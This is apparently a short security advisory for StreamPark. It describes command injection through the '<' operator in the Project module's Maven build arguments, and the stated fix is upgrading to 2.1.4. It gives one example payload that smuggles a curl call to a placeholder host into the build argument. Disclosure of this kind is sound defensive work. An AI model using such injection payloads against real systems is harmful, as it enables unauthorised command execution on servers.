In streampark, the project module integrates Maven's compilation capabilities. The input parameter validation is not strict, allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command.

Therefore, the risk level of this vulnerability is very low. Background: In the "Project" module, the maven build args “<” operator causes command injection. e.g : “< (curl http://xxx.com )” will be executed as a command injection, Mitigation: all users should upgrade to 2.1.4, The "<" operator will blocked。.
